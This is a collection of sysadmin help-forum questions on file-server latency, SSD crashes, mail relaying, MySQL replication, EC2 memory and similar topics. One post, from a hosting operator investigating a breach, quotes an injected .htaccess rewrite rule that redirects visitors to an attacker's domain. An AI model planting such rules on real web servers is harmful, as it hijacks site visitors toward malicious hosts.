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• Strange File-Server I/O Spikes - What Is Causing This?

  - by CruftRemover

  I am currently having a problem with a small Linux server that is providing file-sharing services to four Windows 7 32-bit clients. The server is an AMD PhenomX3 with two Western Digital 10EADS (1TB) drives, attached to a Gigabyte GA-MA770T-UD3 mainboard and running Ubuntu Server 10.04.1 LTS. The client machines are taking an extremely long time to access/transfer data on the file server. Applications often become non-responsive while trying to open files located remotely, or one program attempting to open a file but having to wait will prevent other software from accessing network resources at all. Other examples include one image taking 20 seconds or more to open, and in one instance a user waited 110 seconds for Microsoft Word 2007 to save a document. I had initially thought the problem was network-related, but this appears not to be the case. All cables and switches have been tested (one cable was replaced) for verification. This was additionally confirmed when closing down all client machines and rebooting the server resulted in the hard-drive light staying on solid during the startup process. For the first 15 minutes during boot, logon and after logging on (with no client machines attached), the system displayed a load average of 4 or higher. Symptoms included waiting several minutes for the logon prompt to appear, and then several minutes for the password prompt to appear after typing in a user name. After logon, it also took upwards of 45 seconds for the 'smartctl' man page to appear after the command 'man smartctl' was issued. After 15 minutes of this behaviour, the load average dropped to around 0.02 and the machine behaved normally. I have also considered that the problem is hard-drive-related, however diagnostic programs reveal no drive problems. Western Digital DLG, Spinrite and SMARTUDM show no abnormal characteristics - the drives are in perfect health as far as the hardware is concerned. I have thus far been completely unable to track down the cause of this problem, so any help is greatly appreciated. Requested Information: Output of 'free' hxxp://pastebin.com/mfsJS8HS (stupid spam filter) The command 'hdparm -d /dev/sda1' reports: HDIO_GET_DMA failed: Inappropriate ioctl for device (the BIOS is set to AHCI - I probably should have mentioned that).

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• My new SSD is causing issues. How can I solve them?

  - by Allan

  Computer specs 1 TB harddisc 120 GB 520intel SSD 8 GB DDR3 RAM Athlon Phenom II x64 955 3. 2ghz DK DFI Lanparty FX7900 M3H3 motherboard ASUS ATI RADEON HD6970 2 GB I have bought a new SSD (Intel 520, 120 GB), and wanted to use this as my system disc. I removed the other harddisc, and installed the SSD with the newest firmware. And then Windows 7 I updated Windows 7 with no problems and then put back my old harddrive. I formatted that old harddrive just to clean up at the same time... So at this stage everything was perfect. My new SSD was set as Master 0 Primary it boots on it and I have 1 TB emptyu harddrive I can use for whatever I want. So far no errors at all Now here is the problem, I installed a few games and everytime I tried to play the computer would say Windows must restart because DCOM server process launcher service terminated, or it says Windows must now restart because the Plug and Play service terminated unexpectedly Most commonly this error is caused by a rootkit virus, well I have tried formatting my entire computer, and running every antivirus I could find, so that shouldn't be it. I've also read somewhere it might happen when there are hardware issues. That on the otherhand would make sense, as I just put in a new SSD. I don't expect you to know this error. I haven't found anyone who knew it yet. maybe you can me guide through what might have gone wrong when I placed in the SSD? What have I checked regarding the SSD? It displays the right name when the computer starts up It has the newest firmware Did a 'sfc /scannow' which told me everything was fine I don't know what to do from here. Everything seems to work great with the drive. when I start playing games my computer crashes.

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• From a performance standpoint, is there a preferred way to set up Thunderbird message filters?

  - by Steve V.

  When I used Kontact, I used filters heavily to sort my incoming email into various folders. Since switching to Thunderbird, I've been slowly recreating these filters as new mail arrives. This seems like the perfect time to rethink how I use message filters. The way I see it, there are two basic ways to filter messages. Either I can have lots of filters, or I can have lots of criteria. An example is in order. Assume that I get emails from four people (Boss, CEO, Intern, and StackOverflow) that I want to sort into two folders, "Stack" and "Work" Option A: Filter 1: if FROM contains "Boss" -> move to "Work" Filter 2: if FROM contains "CEO" -> move to "Work" Filter 3: if FROM contains "Intern" -> move to "Work" Filter 4: if FROM contains "StackOverflow" -> move to "Stack" Option B: Filter 1: if FROM contains "Boss" OR FROM contains "CEO" OR FROM contains "Intern" -> move to "Work" Filter 2: if FROM contains "StackOverflow" -> move to "Stack" Assuming that when I'm done, I'll have about a hundred different criteria to filter on, is one of these methods better than the other from a performance standpoint?

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• MongoDB and GrifFS. What are the best storage options in the range of 1 TB?

  - by Nerian

  We are going to launch a service that will require between 1 and 2 GB for file storage per paid user. I am going to use GridFS for storing files. I am pondering the different options for storing the database. But since I am unexperienced at deployment and it is my first time with Mongodb I need your experience. Criteria: I want to spend my time developing my core business, that is, my own application. I am a Ruby on Rails developer. I do not like to mess with server configuration. Hence, I would like a fully managed hosting solution. But I would like to know about any other option, if you think it is worth it. It should be able to scale. Cloud style. Pay as you go. The lower the price, the better. So far I known of these services: https://mongohq.com/pricing https://mongomachine.com/pricing https://mongolab.com/about/pricing/ http://cloudcontrol.com/add-ons/mongodb/ And they seem to be OK for common needs, that is no file storage. But I am going to use GridFS, so the size matters. These services seems to scale, in price, quite poorly. MongoHQ: The larger plan max storage is 20 GB. Seems like a very little storage, for GridFS. MongoMachine: Flat price, 2.5$ per GB. I didn't found the limit. Seems like a good price, comparing the others. MongoLab: 3.984 GB max, which I don't think I will hit, so perfect. 8$ per GB, quite costly. CloudControl: The larger plan is 20 Gb. The custom service starts at 250€ plus some unspecified charge per GB. What is your experience with these services? Any downtimes? Other possibilities?

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• Sendmail Configuration for Exchange Server

  - by user119720

  i need help for sendmail configuration in our linux machine. Here the things: I want to send email to outside by using our exchange server as the mail relay.But when sending the email through the server,it will response "user unknown".To make it worse, it will bounce back all the sent message to my localhost. I already tested our configuration by using external mail server such as gmail and yahoo,the configuration is working without any issue and the email can be sent to the recipient.Most of the configuration of my sendmail is based on here. authinfo file : AuthInfo:my_exchange_server "U:my_name" "I:my_email" "P:my_passwd" "M:PLAIN LOGIN" AuthInfo:my_exchange_server:587 "U:my_name" "I:my_email" "P:my_passwd" "M:PLAIN LOGIN" sendmail.mc : FEATURE(authinfo,hash /etc/mail/authinfo.db) define(`SMART_HOST', `my_exchange server')dnl define('RELAY_MAILER_ARGS', 'TCP $h 587') define('ESMTP_MAILER_ARGS', 'TCP $h 587') define('confCACERT_PATH', '/usr/share/ssl/certs') define('confCACET','/usr/share/ssl/certs/ca-bundle.crt') define('confSERVER_CERT','/usr/share/ssl/certs/sendmail.pem') define('confSERVER_KEY','/usr/share/ssl/certs/sendmail.pem') define('confAUTH_MECHANISMS', 'EXTERNAL GSSAPI DIGEST-MD5 CRAM-MD5 LOGIN PLAIN') TRUST_AUTH_MECH('EXTERNAL DIGEST-MD5 CRAM-MD5 LOGIN PLAIN') define('confAUTH_OPTIONS, 'A')dnl My first assumptions the problem occur is due to the authentication problem, as exchange server need encrypted authentication (DIGEST-MD5).I have already changed this in the authinfo file (from plain login to digest-md5 login) but still not working. I also can telnet our exchange server.So the port is not being blocked by firewall. Can someone help me out with this problems?I'm really at wits ends. Thanks.

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• Finding Webserver Vulnerability

  - by Brent

  We operate a webserver farm hosting around 300 websites. Yesterday morning a script placed .htaccess files owned by www-data (the apache user) in every directory under the document_root of most (but not all) sites. The content of the .htaccess file was this: RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:// RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . http://84f6a4eef61784b33e4acbd32c8fdd72.com/%{REMOTE_ADDR} Googling for that url (which is the md5 hash of "antivirus") I discovered that this same thing happened all over the internet, and am looking for somebody who has already dealt with this, and determined where the vulnerability is. I have searched most of our logs, but haven't found anything conclusive yet. Are there others who experienced the same thing that have gotten further than I have in pinpointing the hole? So far we have determined: the changes were made as www-data, so apache or it's plugins are likely the culprit all the changes were made within 15 minutes of each other, so it was probably automated since our websites have widely varying domain names, I think a single vulnerability on one site was responsible (rather than a common vulnerability on every site) if an .htaccess file already existed and was writeable by www-data, then the script was kind, and simply appended the above lines to the end of the file (making it easy to reverse) Any more hints would be appreciated.

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• Ubuntu + LigHTTPd: Server requests taking ages

  - by ctrl_freak

  I've had an issue since upgrading my distro a couple of weeks ago from hardy; receiving data after making a request has increasing intervals of nothing, as you can see from the picture below. http://i49.tinypic.com/2w5lvr9.png I have since reinstalled fresh from an Ubuntu 10.04 Server (i386) disk, but am still having the same issues. I'm running on a LigHTTPd, MySQL, PHP5 stack. The surprising thing is, that local browsing using lynx is super fast, as expected. Initially, after reinstalling, I copied over the old configuration files from the previous installation, but have since reinstalled LigHTTPd and rebuilt the config file from scratch. The only correlation I could find, was that I attempted installation of ionCube and Zend Optimizer for a script I was testing, however I would think that it could no longer impact seeing I had reinstalled the OS. I have also removed Suhosin just in case, however it had no impact. I'm thinking it possibly has something to do with networking, but I wouldn't know where to start. The server is manually assigned an IP by it's MAC address on the router. The fact that the time seems to be exponential (to a point) worries me. I've tried strace'ing the LigHTTPd and MySQL processes, however I couldn't see anything obvious, not that I'd really know what I'm looking for. RAM and CPU usage don't seem to be out of the ordinary, but I can't say its perfect.. I'm hoping someone has experienced the same, or can point me in a direction, as searching has proved fruitless as I don't know anything specific. Config files can be posted, if requested.

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• What to do after a fresh Linux install in a production server?

  - by Rhyuk

  I havent had previous experience with the 'serious' IT scene. At work I've been handed a server that will host an application and MYSQL (I will install and configure everything), this will be a productive server. Soon I will be installing RHEL5 to it but I would like to know like, if you get a new production server, what would be the first 5 things you would do after you do a fresh Linux install? (configuration/security/reliability wise) EDIT: Added more information regarding the server enviroment and server roles: -The server will be inside my company's intranet/firewall. -The server will receive files (GBs) in binary code from another internal server. The application installed in this server is in charge of "translating" all that binary into human readable input. Server will get queried to get this information. -Only 2-3(max) users will be logging in. -(2) 145GB HDs in RAID1 for the OS and (2) 600GB HDs in RAID1 also for data. I mean, I know I may not get the perfect guideline. But at least something thats better than leaving everything on default.

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• 2 Computers, same network, different outgoing speeds when uploading to internet?

  - by user117339

  I have 2 work machines in my office, a PowerMac G5 and a MacBook Air. Both behind an IPCop firewall. The PowerMac is connected through a gigabit switch, the MacBook Air is connected through a Netgear 802.11g access point that is then plugged into the gigabit switch. There is also a FreeNAS box, both machines are able to read and write files to it at close to their pipe speeds. The main problem is when I am trying to upload files to the internet at large. The G5 is only hitting 0.1 - 0.25 Mbps. The Macbook is able to hit 2-3 Mbps. The setup (G5 / IPCop / Network) has been the same for 5 years. The issues with the internet speed started about 3 months ago. I hadn't tested on the Macbook at this point. I had complained to the ISP, they said their modem needed a firmware update, did that nothing changed. Reset IPCop, turned off squid, etc. No changes. The ISP switched the office over to a better plan with a theoretical 6 Mbps up, still no change. At this point I tried testing the Macbook, and lo and behold there's the speed. But why? I have tried changing out everything, cables, switches, using another ethernet port on the G5, wiping the system, using DHCP, using manual IPs, changing DNS servers, etc. Nothing works. I figured that if there was something horribly wrong with the network, then internally I would find a similar issue, but that is perfect. iperf, ping, etc show no dropped packets and near saturation of the internal network. I'm at a loss as to what the heck is going on. Any ideas would be appreciated! Below are some screenshots of speedtest.net: G5: Macbook Air:

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• Batch-Remove Specific Text from Photo Descriptions

  - by David

  I've recently upgraded to iPhoto '11 (couldn't resist the pricing on the new app store) and as I'm adding more meta-data to my library and generally organizing things (places, faces, etc... I hadn't upgraded since '08) I've noticed something odd in my photos. Every photo in my library has a description (though many are short), but it would appear that somehow the description of one of the photos has been appended to many. I don't know if maybe I accidentally screwed up a batch change at some point in the past, or if the library upgrade somehow messed up, or what else may have happened. But what I need to do is fix these somehow. Now, manually editing is something of a daunting task. Within a library of 21,248 photos, 18,858 of them have this additional text. The one thing I do have going for me is that it's a specific string. If there's a way to "remove this string from everywhere in the library without removing the rest of any given description" then that would be perfect. Is there anything I can do like this? Maybe even manually editing a library file in a text editor? (Would that break anything else in iPhoto if its library was edited outside of the application, even while it's not running?) Does anybody have any ideas?

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• Diff bios - corrupt video driver

  - by sfonck

  Hi, I'm using an Dell M90 Precision Laptop which has a NVidia Quadro FX 2500M graphics card and is running Windows XP. Laptop has been running fine - but a few weeks ago screen went 'white' - restarted computer- bios and startup screens show weird green dots and stripes, normal startup only shows a black screen... only VGA mode works to display something. I've been trying to remove and reinstall the correct drivers downloaded from Dell's website - no solution. I gave up and reinstalled XP - everything was working perfect again. 2 weeks later - again the white screen - tried everything again (flashin new bios also - nothing works) Reinstalled XP - everyhting was working again, so I made a DriveSnapShot of the partition. Today - again the 'white screen'. Ok, no problem ...I was thinking all I needed to do was to restore the DriveSnapShot backup... Few minutes later the backup is restored ... but guess what: video driver does not work correctly... As the DriveSnapShot restored the complete partition, as it was at the time everything was working perfectly, this would mean my driver problems are due to 'settings' in the bios or on the graphics-card itself + these 'settings' can get overridden by doing a new XP-install.... I'm out of options, can somebody help me to find a solution for this problem: Is there some way to backup and restore a bios after seeing some problems? Is there some way to know what is causing this problem like a bios diff utility? Thanks!

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• Server 2012 - transparent SMB failover without shared discs, possible?

  - by TomTom

  here is the scenario - there is a small set (200gb around) of data that I HAVE to keep available. Those are basically shared VHD images that serve as master images for a lot of our VM's - they then run in differential discs off those. The whole set is "mostly read only". In more detail: A file that IS there and IS used will NEVER change. I may delete files (when absolutely not in use) and add new files, but a file that is there once gets read protection set and that it is until it is retired. Obviously, I need as much uptime as possible. SO FAR we run that by having this directory local on every Hyper-V server. Now I think moving this into our storage fabric. Due to the "it HAS to be there" I pretty much want a share nothing architecture. DFS would be perfect for this - a file never changes, so replication would work nicely. Folders could be replicated to a number of servers, all would reference them from there. Now, that hyper-V supports SMB that could be a good idea to isolate these on a number of servers - we try to move into a scenario where the storage is more centralized. Server 2012 supports always on shares, but it seems that this only works with a clustered disc behind. Is there any way around this for read only file stores? All documentation points to stuff like a shared JBOD - but that would leave me open for file system corruption. I really plan to go quite separately here, vertically - 2 servers, both with SSD only for this, both with their own 2000W separate USV, both with enough bandwidth to handle everything thrown at them (note to everyone tinking this is 10G - this would be SLOW and EXPENSIVE compared to a nice Infiniband backbone). The real crux is that this is an edge case obviously - as the files are read only once in use.

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• Wildcard subdomain setup ... want to change host IP throws off client A records... what to do...

  - by Joe

  Here is the current set up (in a nutshell). The site is set up with a wildcard subdomain, so *.website.com is accessible. Clients can then domain map their own domains with an A record to the server IP address and it will translate the to appropriate *.website.com with re directions and env variables in htaccess. Everything is working perfect... but now comes the problem. The site has grown larger than a single DQC Xeon server can handle at peak times. Looking at cloud options seems tempting, but clients are pointing their domains to a single IP address with the A record (our server). Now, this was probably bad planing from the start, but the question is, if this was to be done today, how would we set it up so that clients use a CNAME perhaps to point their domains to our server rather than an A record. And, if that is not possible for the root domain, how can we then use multiple IP addresses on our side to translate the incoming http request? Complex enough? Hope I've explained it well!

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• UNC shared path not accessible though necessary permissions are set

  - by Vysakh

  I have 2 environments A and B. A is an original environment whereas B is a clone of A, exactly except AD servers. AD server of B has been assigned a trust relationship with A, so that all the service and user accounts of A can be used in B too. And trusting works fine, perfect!! But I encounter some issues accessing UNC paths(\server2\shared) with these service accounts. I had a check in A environment and all the permissions set in that environment is done in B too (already set since it is a clone of A),but the issue is with B environment only. And FYI, the user is an owner of that folder in both the environments. I tried creating a folder inside the share(\server2\shared) using command prompt, but failed with error "access denied". What I done a workaround is that I added that user in "security" tab of folder permissions and after that it worked fine. But this was not done in the original environment. Is this something related to trust relationship? Why the share to the same location for the same user works differently in 2 environments, though they've been set with the same permissions. FYI, these are windows 2003 servers. Can someone please help.

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• Expire Files In A Folder: Delete Files After x Days

  - by Brett G

  I'm looking to make a "Drop Folder" in a windows shared drive that is accessible to everyone. I'd like files to be deleted automagically if they sit in the folder for more than X days. However, it seems like all methods I've found to do this, use the last modified date, last access time, or creation date of a file. I'm trying to make this a folder that a user can drop files in to share with somebody. If someone copies or moves files into here, I'd like the clock to start ticking at this point. However, the last modified date and creation date of a file will not be updated unless someone actually modifies the file. The last access time is updated too frequently... it seems that just opening a directory in windows explorer will update the last access time. Anyone know of a solution to this? I'm thinking that cataloging the hash of files on a daily basis and then expiring files based on hashes older than a certain date might be a solution.... but taking hashes of files can be time consuming. Any ideas would be greatly appreciated! Note: I've already looked at quite a lot of answers on here... looked into File Server Resource Monitor, powershell scripts, batch scripts, etc. They still use the last access time, last modified time or creation time... which, as described, do not fit the above needs.

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• SSH & SFTP: Should I assign one port to each user to facilitate bandwidth monitoring?

  - by BertS

  There is no easy way to track real-time per-user bandwidth usage for SSH and SFTP. I think assigning one port to each user may help. Idea of implementation Use case Bob, with UID 1001, shall connect on port 31001. Alice, with UID 1002, shall connect on port 31002. John, with UID 1003, shall connect on port 31003. (I do not want to lauch several sshd instances as proposed in question 247291.) 1. Setup for SFTP: In /etc/ssh/sshd_config: Port 31001 Port 31002 Port 31003 Subsystem sftp /usr/bin/sftp-wrapper.sh The file sftp-wrapper.sh starts the sftp server only if the port is the correct one: #!/bin/sh mandatory_port=3`id -u` current_port=`echo $SSH_CONNECTION | awk '{print $4}'` if [ $mandatory_port -eq $current_port ] then exec /usr/lib/openssh/sftp-server fi 2. Additional setup for SSH: A few lines in /etc/profile prevents the user from connecting on the wrong port: if [ -n "$SSH_CONNECTION" ] then mandatory_port=3`id -u` current_port=`echo $SSH_CONNECTION | awk '{print $4}'` if [ $mandatory_port -ne $current_port ] then echo "Please connect on port $mandatory_port." exit 1 fi fi Benefits Now it should be easy to monitor per-user bandwidth usage. A Rrdtool-based application could produce charts like this: I know this won't be a perfect calculation of the bandwidth usage: for example, if somebody launches a bruteforce attack on port 31001, there will be a lot of traffic on this port although not from Bob. But this is not a problem to me: I do not need an exact computation of per-user bandwidth usage, but an indicator that is approximately correct in standard situations. Questions Is the idea of assigning one port for each user is a good one? Is the proposed setup an reliable one? If I have to open dozens of ports for many users, should I expect a performance drawback? Do you know a rrdtool-based application which could make the chart above?

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• please explain these mongo statistics

  - by sivann

  My setup: I have 2 hosts, and 2 shards each. Host1 has 2 shards, and is the master of the replicas host2 has the secondaries of the 2 shards. . host1: shard1 (repset1),shard2 (repset2) host2: shard1 (repset1),shard2 (repset2) There's also a 3rd host that acts as arbitrer. I have 50 threads writing randomly to both shards (using a hash) via mongos with REPLICA_SAFE WriteConcern set on each insert. The questions: mongostat displays about 90% locked for both shards in host1 and about 1% locked on host2. Since I use REPLICA_SAFE which supposedly writes to both servers shouldn't the locks be the same? mongostat reports qr=30 for both shards of host1, and qw=0 always. Since I perform only writes how is this possible? Moreover on host2 all queues are reported 0. Faults are abut the same in all shards/hosts (arround 80). netIn/netOut on the secondaries (host2) are always about 200bytes/sec. Too low. mongos has 53 connections, host1's shards have 71 and 71 and host2's shards have 9 and 8. How is this? Please answer whatever you can. Thanks!

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• What method of MySQL mirroring should I use for this?

  - by user45745

  I'm running an web application hosting service (basically hosting forums for free), and I have two remote servers at my disposal. The code for the application is stored on both servers and isn't a problem, but I'm wondering how to deal with the databases. When someone goes onto a site *.example-host.com, they are sent to one of the two servers and both must be capable of loading the forums from a database. The database must also have write access, for when new members register or post topics etc. The main requirement is speed, but uptime is also important (if a server goes out, the site should still work). I have a few options, but I'm inexperienced and not sure which to go with: 1) [PHP] Split the forum records 50:50 between the two servers. If a server does not have the record for a forum requested, it can request it from the other by remote MySQL and load it. This idea sounded okay, until I realised that 50% of the time, users would be waiting significantly longer for pages to load. I also realised that if one of the servers went down, half the forums would be inaccessible and registrations would have to be disabled. 2) [MySQL] Dual master replication. This would attempt to mirror the two databases and sounds perfect, but I've heard that it can be very problematic. I don't know how fast this is. 3) [MySQL] Use a standard replication, distribute read only queries on both nodes and read/write queries to the master. This sounds like a good option, but again, I'm not sure on speed. I also don't know what would happen if the master server went down. If you have any other suggestions, please post them :)

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• Configuring iPad Mail app & Gmail app with different accounts? [migrated]

  - by Steve Crane

  I prefer to use the Gmail app over the standard Mail app on my iPad for reading my personal Gmail (I delete a lot of mails, newsletters, etc., after reading and this is one tap in Gmail and several in Mail). I have them set up so my personal Gmail uses the Gmail app and my work email is set up to use the standard Mail app. This all works fine except for one problem. If I'm in Gmail or Mail and send an email it sends from the relevant email address as expected. My problem is that when I share something via email from Safari or another app it sends from the email address configured in Settings for Mail (the work one) and I would prefer to do such sharing from my personal email address. Does anyone know if there is a way to achieve this? I could switch the addresses to use the other app but as I never delete work email and delete personal mail at least 50% of the time, the behaviour of the apps is perfect the way I have them set up; if only I could solve that one little problem of controlling where shared items are sent from. I am using an iPad 2 with iOS 5.1 should that be relevant.

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• How to keep multiple servers in sync file wise?

  - by GForceSys

  I'm currently managing a cluster of PHP-FPM servers, all of which tend to get out of sync with each other. The application that I'm using on top of the app servers (Magento) allows for admins to modify various files on the system, but now that the site is in a clustered set up modifying a file only modifies it on a single instance (on one of the app servers) of the various machines in the cluster. Is there an open-source application for Linux that may allow me to keep all of these servers in sync? I have no problem with creating a small VM instance that can listen for changes from machines to sync. In theory, the perfect application would have small clients that run on each machine to be synced, which would talk to the master server which would then decide how/what to sync from each machine. I have already examined the possibilities of running a centralized file server, but unfortunately my app servers are spread out between EC2 and physical machines, which makes this unfeasible. As there are multiple app servers (some of which are dynamically created depending on the load of the site), simply setting up a rsync cron job is not efficient as the cron job would have to be modified on each machine to send files to every other machine in the cluster, and that would just be a whole bunch of unnecessary data transfers/ssh connections.

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• How many guesses per second are possible against an encrypted disk? [closed]

  - by HappyDeveloper

  I understand that guesses per second depends on the hardware and the encryption algorithm, so I don't expect an absolute number as answer. For example, with an average machine you can make a lot (thousands?) of guesses per second for a hash created with a single md5 round, because md5 is fast, making brute force and dictionary attacks a real danger for most passwords. But if instead you use bcrypt with enough rounds, you can slow the attack down to 1 guess per second, for example. 1) So how does disk encryption usually work? This is how I imagine it, tell me if it is close to reality: When I enter the passphrase, it is hashed with a slow algorithm to generate a key (always the same?). Because this is slow, brute force is not a good approach to break it. Then, with the generated key, the disk is unencrypted on the fly very fast, so there is not a significant performance lose. 2) How can I test this with my own machine? I want to calculate the guesses per second my machine can make. 3) How many guesses per second are possible against an encrypted disk with the fastest PC ever so far?

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• Amazon EC2 - Free memory

  - by Damo

  We have an amazon ec2 small instance running and over the past few days we noticed that the memory is going down and down. On the small instance, we are running apache and tomcat6 Tomcat is started with the following JVM parameters -Xms32m -Xmx128m -XX:PermSize=128m -XX:MaxPermSize=256m We use nagios to monitor stuff like updates to apply, free disk space and memory. Everything else is behaving as expected but our memory is going down all the time. Our app receives approx half a million hits a day When I shutdown apache and tomcat, and ran free -m, we had only 594mb of memory free out out of the 1.7gb of memory. Not much else is running on the small instance and when running the top command I cannot see where the memory is going. The app we run on tomcat is a grails webapp. Could there be a possibility that there is a memory leak within our application? I read online and folks say that a small amazon instance is perfect for running apach and tomcat. I found a few posts online that showed how to setup apache and tomcat to limit the memory usage and I have already performed those steps. The memory is not being used up as quick but the memory is still decreasing over time. We have other amazone ec2 small instances running grails apps and the memory is fairly standard on those nodes. But they would not be receiving as much traffic Just to add, when I run the top command on the problem server, I cannot see where all the memory is being used Any help with this is greatly appreciated The output of free -m when run on my server is as follows total used free shared buffers cached Mem: 1657 1380 277 0 158 773 -/+ buffers/cache: 447 1209 Swap: 895 0 895 In your opinion, does this look ok? At what stage would the OS give back memory, would it wait to the memory reaches 0% or is this OS dependent?

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• OSX server setup suggestions

  - by Tom

  I am looking into the possibility to setup an OSX server for my employees, and would like some input on what is the best approach to meet my needs, and perhaps some suggestions if I am moving in the wrong direction. I am thinking of a Mac Mini OSX server, and are not sure if my needs will be met, and what possibilities are out there. I want these capabilities: - Groups/Users managed on server - Shared folders and private folders for users/groups - Access to activated services - Server hosting software for the users (developing tools ++) - Similar to Windows Terminal Server - Virtual desktop environment (both local and over internet/VPN) - Possible to access trough Mac and Windows The reason I am looking at OSX server is that my employees almost only work in OSX environment, and I want to offer the capabilities to logon to the server trough some kind of terminal software, and have full access to their work OSX environment and software on their mac or pc, from anywhere they might be. Instead of having to have multiple setups and need for spending alot of time installing and setting up needed software on every client. This is a small business, where some work on local network, and others from the internet, preferably trough VPN. But a terminal server solution, that are fast and easy to manage would be perfect for our needs. So if anyone have any experience with a similar setup, please let me know what you did, and your experiences with your setup.

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• Will the removal of NAT (with the use of IPv6) be bad for consumers? [closed]

  - by Jonathan.

  Possible Duplicate: How will IPv6 impact everyday users? (World IPv6 Day) As I understand when we have finally made the switch to IPv6 not only will NAT be unnecessary but it is incompatible with IPv6? Will that mean that ISPs will have to serve multiple IP addresses per customer? Will they provide a range of addresses for each customer or as each device connects will they get an IP address that isn't necessarily near that of the other devices in their house? But overall will this be bad for the Internet users? as surely it will allow ISPs to see exactly how many devices are being used, and so allow them to charge for the use of additional IP addresses? And then if that happens, what happens when you try to connect an extra device to your network? Will it simply not get an IP address? In my home we have about 15-20 devices connected at once, but for places where there are hundreds of devices, it seems like the perfect opportunity for ISPs to charge more? I think I may have it completely wrong, so is there somewhere where there is an explanation of who things will work when IPv6 becomes the norm?

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• Mysql InnoDB and quickly applying large updates

  - by Tim

  Basically my problem is that I have a large table of about 17,000,000 products that I need to apply a bunch of updates to really quickly. The table has 30 columns with the id set as int(10) AUTO_INCREMENT. I have another table which all of the updates for this table are stored in, these updates have to be pre-calculated as they take a couple of days to calculate. This table is in the format of [ product_id int(10), update_value int(10) ]. The strategy I'm taking to issue these 17 million updates quickly is to load all of these updates into memory in a ruby script and group them in a hash of arrays so that each update_value is a key and each array is a list of sorted product_id's. { 150: => [1,2,3,4,5,6], 160: => [7,8,9,10] } Updates are then issued in the format of UPDATE product SET update_value = 150 WHERE product_id IN (1,2,3,4,5,6); UPDATE product SET update_value = 160 WHERE product_id IN (7,8,9,10); I'm pretty sure I'm doing this correctly in the sense that issuing the updates on sorted batches of product_id's should be the optimal way to do it with mysql / innodb. I'm hitting a weird issue though where when I was testing with updating ~13 million records, this only took around 45 minutes. Now I'm testing with more data, ~17 million records and the updates are taking closer to 120 minutes. I would have expected some sort of speed decrease here but not to the degree that I'm seeing. Any advice on how I can speed this up or what could be slowing me down with this larger record set? As far as server specs go they're pretty good, heaps of memory / cpu, the whole DB should fit into memory with plenty of room to grow.

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